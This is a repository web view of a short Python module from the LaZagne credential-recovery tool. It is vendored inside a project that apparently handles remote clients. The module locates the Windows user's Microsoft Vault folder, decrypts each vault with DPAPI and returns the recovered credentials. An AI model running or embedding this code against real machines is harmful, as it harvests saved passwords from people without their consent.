summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/windows/vaultfiles.py
blob: 57544b8e741713d22b90046f0cf30e98928e9223 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-
from foreign.client_handling.lazagne.config.module_info import ModuleInfo
from foreign.client_handling.lazagne.config.constant import constant
import os


class VaultFiles(ModuleInfo):
    def __init__(self):
        ModuleInfo.__init__(self, 'vaultfiles', 'windows', dpapi_used=True)

    def run(self):

        pwd_found = []
        if constant.user_dpapi and constant.user_dpapi.unlocked:
            main_vault_directory = os.path.join(constant.profile['APPDATA'], u'..', u'Local', u'Microsoft', u'Vault')
            main_vault_directory =  os.path.abspath(main_vault_directory)
            if os.path.exists(main_vault_directory):
                for vault_directory in os.listdir(main_vault_directory):
                    cred = constant.user_dpapi.decrypt_vault(os.path.join(main_vault_directory, vault_directory))
                    if cred:
                        pwd_found.append(cred)

        return pwd_found